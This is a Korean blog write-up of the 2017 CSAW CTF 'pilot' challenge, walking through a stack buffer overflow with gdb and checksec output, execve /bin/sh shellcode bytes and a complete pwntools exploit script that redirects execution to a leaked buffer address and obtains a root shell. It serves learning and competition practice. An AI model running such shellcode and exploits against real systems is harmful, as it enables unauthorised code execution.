본문 바로가기

CTF_Write_UP

[2017 CSAW CTF] pilot

시작

안녕하세요 :D

파이썬과 pwntools에 익숙하다면 ㅎㅎ!! 이 문제는 쉽게 푸셨을 거에요.

대학교 1학년 때 파이썬을 포기했던 저는 단순한 문법을 몰라서 한참 삽질했습니다ㅠ

시작해보죠!!

Write UP

root@goorm:/workspace/LCH_Server/posting/pilot# ./pilot
[*]Welcome DropShip Pilot...
[*]I am your assitant A.I....
[*]I will be guiding you through the tutorial....
[*]As a first step, lets learn how to land at the designated location....
[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics...
[*]Good Luck Pilot!....
[*]Location:0x7ffda1022500
[*]Command:aaaa

테란의 드랍쉽 파일럿인가 봅니다.

마린 메딕을 구하라면서 뜬금없이 좌표를 띡 던져주네요. 명령을 입력하면 바로 종료됩니다.

root@goorm:/workspace/LCH_Server/posting/pilot# ltrace ./pilot
__libc_start_main(0x4009a6, 1, 0x7fffca618cf8, 0x400b90 
_ZNSt8ios_base4InitC1Ev(0x6021b9, 0xffff, 0x7fffca618d08, 5)                         = 0
__cxa_atexit(0x400850, 0x6021b9, 0x602070, 0x7fffca618ad0)                           = 0
setvbuf(0x7f2278570400, 0, 2, 0)                                                     = 0
setvbuf(0x7f2278570640, 0, 2, 0)                                                     = 0
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc(0x6020a0, 0x400c19, 0, 0[*]Welcome DropShip Pilot...)    = 0x6020a0
_ZNSolsEPFRSoS_E(0x6020a0, 0x400890, 0x7f2278880d30, 0x7f227829c3c0 
_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_(0x6020a0, 0x400890, 0x7f2278880d30, 0x7f227829c3c0
) = 0x6020a0
<... _ZNSolsEPFRSoS_E resumed> )                                                     = 0x6020a0
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc(0x6020a0, 0x400c36, 0, 0x7f227829c3c0[*]I am your assitant A.I....) = 0x6020a0
_ZNSolsEPFRSoS_E(0x6020a0, 0x400890, 0x7f2278880d30, 0x7f227829c3c0 
_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_(0x6020a0, 0x400890, 0x7f2278880d30, 0x7f227829c3c0
) = 0x6020a0
<... _ZNSolsEPFRSoS_E resumed> )                                                     = 0x6020a0
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc(0x6020a0, 0x400c58, 0, 0x7f227829c3c0[*]I will be guiding you through the tutorial
....) = 0x6020a0
_ZNSolsEPFRSoS_E(0x6020a0, 0x400890, 0x7f2278880d30, 0x7f227829c3c0 
_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_(0x6020a0, 0x400890, 0x7f2278880d30, 0x7f227829c3c0
) = 0x6020a0
<... _ZNSolsEPFRSoS_E resumed> )                                                     = 0x6020a0
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc(0x6020a0, 0x400c90, 0, 0x7f227829c3c0[*]As a first step, lets learn how to land at
 the designated location....) = 0x6020a0
_ZNSolsEPFRSoS_E(0x6020a0, 0x400890, 0x7f2278880d30, 0x7f227829c3c0 
_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_(0x6020a0, 0x400890, 0x7f2278880d30, 0x7f227829c3c0
) = 0x6020a0
<... _ZNSolsEPFRSoS_E resumed> )                                                     = 0x6020a0
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc(0x6020a0, 0x400ce0, 0, 0x7f227829c3c0[*]Your mission is to lead the dropship to th
e right location and execute sequence of instructions to save Marines & Medics...) = 0x6020a0
_ZNSolsEPFRSoS_E(0x6020a0, 0x400890, 0x7f2278880d30, 0x7f227829c3c0 
_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_(0x6020a0, 0x400890, 0x7f2278880d30, 0x7f227829c3c0
) = 0x6020a0
<... _ZNSolsEPFRSoS_E resumed> )                                                     = 0x6020a0
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc(0x6020a0, 0x400d5f, 0, 0x7f227829c3c0[*]Good Luck Pilot!....) = 0x6020a0
_ZNSolsEPFRSoS_E(0x6020a0, 0x400890, 0x7f2278880d30, 0x7f227829c3c0 
_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_(0x6020a0, 0x400890, 0x7f2278880d30, 0x7f227829c3c0
) = 0x6020a0
<... _ZNSolsEPFRSoS_E resumed> )                                                     = 0x6020a0
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc(0x6020a0, 0x400d77, 0, 0x7f227829c3c0[*]Location:) = 0x6020a0
_ZNSolsEPKv(0x6020a0, 0x7fffca618bf0, 0x6020a0, 0x7f227829c3c00x7fffca618bf0)                      = 0x6020a0
_ZNSolsEPFRSoS_E(0x6020a0, 0x400890, 0x7f2278880d30, 0 
_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_(0x6020a0, 0x400890, 0x7f2278880d30, 0
) = 0x6020a0
<... _ZNSolsEPFRSoS_E resumed> )                                                     = 0x6020a0
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc(0x6020a0, 0x400d84, 0, 0x7f227829c3c0[*]Command:) = 0x6020a0
read(0aaaa
, "aaaa\n", 64)                                                                = 5
_ZNSt8ios_base4InitD1Ev(0x6021b9, 0, 224, 0x7f2278570f50)                            = 0x7f2278885460
+++ exited (status 0) +++

ltrace로 보니 괴랄한 함수들이 나오네요.. c++로 작성되었나 봅니다.

read()가 64 bytes만큼 받네요. 생각보다 작지만 한 번 터뜨려보겠습니다.

root@goorm:/workspace/LCH_Server/posting/pilot# ./pilot
[*]Welcome DropShip Pilot...
[*]I am your assitant A.I....
[*]I will be guiding you through the tutorial....
[*]As a first step, lets learn how to land at the designated location....
[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics...
[*]Good Luck Pilot!....
[*]Location:0x7ffc12e92990
[*]Command:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
세그멘테이션 오류
RAX: 0x0
RBX: 0x0
RCX: 0x7f09a02ce360 (<__read_nocancel+7>:       cmp    rax,0xfffffffffffff001)
RDX: 0x40 ('@')
RSI: 0x7ffdffc666e0 ('a' )
RDI: 0x0
RBP: 0x6161616161616161 ('aaaaaaaa')
RSP: 0x7ffdffc66708 ('a' )
RIP: 0x400b35 (ret)
R8 : 0x7f09a05a39e0 --> 0x0
R9 : 0x400d84 ("[*]Command:")
R10: 0x7ffdffc664a0 --> 0x0
R11: 0x246
R12: 0x4008b0 (xor    ebp,ebp)
R13: 0x7ffdffc667e0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400b2d:    jmp    0x400b34
   0x400b2f:    mov    eax,0x0
   0x400b34:    leave
=> 0x400b35:    ret
   0x400b36:    push   rbp
   0x400b37:    mov    rbp,rsp
   0x400b3a:    sub    rsp,0x10
   0x400b3e:    mov    DWORD PTR [rbp-0x4],edi
[------------------------------------stack-------------------------------------]
0000| 0x7ffdffc66708 ('a' )
0008| 0x7ffdffc66710 ('a' )
0016| 0x7ffdffc66718 ("aaaaaaaa")
0024| 0x7ffdffc66720 --> 0x100000000
0032| 0x7ffdffc66728 --> 0x4009a6 (push   rbp)
0040| 0x7ffdffc66730 --> 0x0
0048| 0x7ffdffc66738 --> 0x6622a7752262bc0f
0056| 0x7ffdffc66740 --> 0x4008b0 (xor    ebp,ebp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000400b35 in ?? ()

앗 터지네요!! 버퍼는 64 bytes 미만이기 때문에

페이로드를 조금씩 바꿔보면서 RBP의 변화를 살펴보겠습니다.

gdb-peda$ r
Starting program: /workspace/LCH_Server/posting/pilot/pilot aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAAAAAABBBBBBBB
warning: Error disabling address space randomization: 명령을 허용하지 않음
[*]Welcome DropShip Pilot...
[*]I am your assitant A.I....
[*]I will be guiding you through the tutorial....
[*]As a first step, lets learn how to land at the designated location....
[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics...
[*]Good Luck Pilot!....
[*]Location:0x7ffeab744c90
[*]Command:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAAAAAABBBBBBBB

.

.

RAX: 0x0
RBX: 0x0
RCX: 0x7fb630988360 (<__read_nocancel+7>:       cmp    rax,0xfffffffffffff001)
RDX: 0x40 ('@')
RSI: 0x7ffe826de7a0 ('a' , "AAAAAAAABBBBBBBB\n")
RDI: 0x0
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7ffe826de7c8 ("BBBBBBBB\n")
RIP: 0x400b35 (ret)
R8 : 0x7fb630c5d9e0 --> 0x0
R9 : 0x400d84 ("[*]Command:")
R10: 0x7ffe826de560 --> 0x0
R11: 0x246
R12: 0x4008b0 (xor    ebp,ebp)
R13: 0x7ffe826de8a0 --> 0x2
R14: 0x0
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)

삽질의 결과 a를 32개, A를 8개, B를 8개 주었을 때 RBP가 A로, RET가 B로 덮이는 모습입니다.

따라서 버퍼는 32 bytes라는 것을 알았네요.

overflow가 된다는 사실도 알았으니 익스를 구성해볼까요? 일단 보호기법을 체크하고 넘어가겠습니다.

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

Partial RELRO를 제외한 아무런 보호기법이 없네요 ㅋㅋㅋㅋㅋ

버퍼에 쉘코드를 때려박은 후 Return 하면 쉘이 따질 것 같습니다.

저는 \x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05 를 사용하겠습니다.

이제 우리는 버퍼의 시작주소만 알면 됩니다.

gdb로 a를 32개 + A를 8개 + B를 8개 준 후 레지스터를 살펴보죠.

gdb-peda$ r
Starting program: /workspace/LCH_Server/posting/pilot/pilot
warning: Error disabling address space randomization: 명령을 허용하지 않음
[*]Welcome DropShip Pilot...
[*]I am your assitant A.I....
[*]I will be guiding you through the tutorial....
[*]As a first step, lets learn how to land at the designated location....
[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics...
[*]Good Luck Pilot!....
[*]Location:0x7fff8097efd0
[*]Command:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAAAAAABBBBBBBB

gdb-peda$ x/40wx 0x7fff8097efd0
0x7fff8097efd0: 0x61616161      0x61616161      0x61616161      0x61616161
0x7fff8097efe0: 0x61616161      0x61616161      0x61616161      0x61616161
0x7fff8097eff0: 0x41414141      0x41414141      0x42424242      0x42424242
0x7fff8097f000: 0x0000000a      0x00000000      0x8097f0d8      0x00007fff
0x7fff8097f010: 0x00000000      0x00000001      0x004009a6      0x00000000
0x7fff8097f020: 0x00000000      0x00000000      0x12a18487      0x9b356aab
0x7fff8097f030: 0x004008b0      0x00000000      0x8097f0d0      0x00007fff
0x7fff8097f040: 0x00000000      0x00000000      0x00000000      0x00000000
0x7fff8097f050: 0xf2a18487      0x64ca6b84      0xcf5b8487      0x641212e5
0x7fff8097f060: 0x00000000      0x00000000      0x00000000      0x00000000

Location에 찍힌 주소를 확인해 보니 버퍼의 시작 주소였네요!! 친절한 친구였습니다.

버퍼에 쉘 코드를 넣은 후 남은 자리는 nop으로 채우고, RET을 버퍼의 시작 주소로 주겠습니다.

#!/usr/bin/python
#-*- coding=utf-8 -*-

from pwn import *

#context.log_level = "debug"

e = ELF("./pilot")
l = e.libc
p = process(e.path)

shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

p.recvuntil("tion:0x")

buf_start = p.recv(12)
buf_start = int(buf_start, 16)

payload = ""

payload += shellcode
payload += "\x90" * (32 - len(shellcode))
payload += "A" * 8                   #SFP
payload += p64(buf_start)          #RET

p.sendline(payload)

p.interactive()

여기서 했던 삽질은 recv(12)로 받아온 문자열 buf_start를 어떻게 페이로드에 보내주냐였습니다.

처음엔 그냥 문자열인 채로 패킹해서 보내면 알아서 되겠지.. 했지만 실패했어요ㅠㅠㅠㅠ

int("str", 16) 을 주면 str을 16진수형 변수로 바꿔주더군요. 파이썬 참 대단한 듯

이렇게 바꿔준 후 패킹해서 보내니 쉘이 따졌습니다.

[*] '/workspace/LCH_Server/posting/pilot/pilot'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process '/workspace/LCH_Server/posting/pilot/pilot': pid 1424
[*] Switching to interactive mode

[*]Command:$ whoami
root

Exploit!!

마무리

왜 1학년 땐 파이썬이 어렵다고 생각했을까요?

사람은 역시 파이썬을 해야합니다. 안 그러면 익스 코드 어떻게 짤까요 ㅠㅠㅠ

이 문제 덕분에 문자열을 16진수로 바꿔야 한다는 사소한 팁?? 을 배웠습니다!!

감사합니다 :D

'CTF_Write_UP' 카테고리의 다른 글

[Pico CTF 2013] ROP3  (0) 2019.06.12
[HSCTF 2019] Write up  (0) 2019.06.08
[Codegate 2018] BaskinRobins31  (0) 2019.05.27
[2019 DefCon Quals] speedrun-002  (0) 2019.05.25
[2019 DefCon Quals] speedrun-001  (0) 2019.05.23